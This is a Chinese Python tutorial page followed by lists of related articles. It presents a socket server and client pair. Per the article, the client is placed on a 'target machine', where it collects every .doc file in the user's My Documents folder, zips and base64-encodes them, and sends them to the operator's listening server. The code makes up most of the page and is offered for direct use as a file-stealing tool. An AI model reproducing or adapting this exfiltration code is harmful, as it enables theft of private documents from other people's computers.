python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
跟老齐学Python之从if开始语句的征程
Sep 14 Python
Python实现将绝对URL替换成相对URL的方法
Jun 28 Python
Python3 适合初学者学习的银行账户登录系统实例
Aug 08 Python
Python查找两个有序列表中位数的方法【基于归并算法】
Apr 20 Python
Python中存取文件的4种不同操作
Jul 02 Python
Flask之请求钩子的实现
Dec 23 Python
Python Pexpect库的简单使用方法
Jan 29 Python
Python中顺序表原理与实现方法详解
Dec 03 Python
Python基础之函数原理与应用实例详解
Jan 03 Python
python matplotlib实现将图例放在图外
Apr 17 Python
使用pyplot.matshow()函数添加绘图标题
Jun 16 Python
pytorch随机采样操作SubsetRandomSampler()
Jul 07 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
php实现读取超大文件的方法
2014/07/28 PHP
PHP清除数组中所有字符串两端空格的方法
2014/10/20 PHP
WordPress中对访客评论功能的一些优化方法
2015/11/24 PHP
Ajax和PHP正则表达式验证表单及验证码
2016/09/24 PHP
Div自动滚动到末尾的代码
2008/10/26 Javascript
javascript offsetX与layerX区别
2010/03/12 Javascript
JavaScript 语言基础知识点总结(思维导图)
2013/11/10 Javascript
在线一元二次方程计算器实例(方程计算器在线计算)
2013/12/22 Javascript
纯css+js写的一个简单的tab标签页带样式
2014/01/28 Javascript
Jquery原生态实现表格header头随滚动条滚动而滚动
2014/03/18 Javascript
jquery使用animate方法实现控制元素移动
2015/03/27 Javascript
javascript中in运算符用法分析
2015/04/28 Javascript
JavaScript实现函数返回多个值的方法
2015/06/09 Javascript
详解JavaScript逻辑And运算符
2015/12/04 Javascript
jQuery点击改变class并toggle及toggleClass()方法定义用法
2015/12/11 Javascript
AngularJS入门教程之路由与多视图详解
2016/08/19 Javascript
vue实现手机号码抽奖上下滚动动画示例
2017/10/18 Javascript
利用babel将es6语法转es5的简单示例
2017/12/01 Javascript
puppeteer库入门初探
2019/01/09 Javascript
vue点击按钮实现简单页面的切换
2020/09/08 Javascript
[53:29]完美世界DOTA2联赛循环赛 DM vs Matador BO2第二场 11.04
2020/11/05 DOTA
利用python库在局域网内传输文件的方法
2018/06/04 Python
简单了解django索引的相关知识
2019/07/17 Python
Django REST框架创建一个简单的Api实例讲解
2019/11/05 Python
如何基于python3和Vue实现AES数据加密
2020/03/27 Python
python打开文件的方式有哪些
2020/06/29 Python
详解使用HTML5 Canvas创建动态粒子网格动画
2016/12/14 HTML / CSS
怀俄明州飞钓:Platte River Fly Shop
2017/12/28 全球购物
Dr. Martens马汀博士澳大利亚官网:马丁靴鼻祖
2019/07/02 全球购物
2014光棍节大学生联谊活动方案
2014/10/10 职场文书
好好学习保证书
2015/02/26 职场文书
党小组意见范文
2015/06/08 职场文书
神秘岛读书笔记
2015/07/01 职场文书
浅谈pytorch中stack和cat的及to_tensor的坑
2021/05/20 Python
Python使用openpyxl模块处理Excel文件
2022/06/05 Python
Python时间操作之pytz模块使用详解
2022/06/14 Python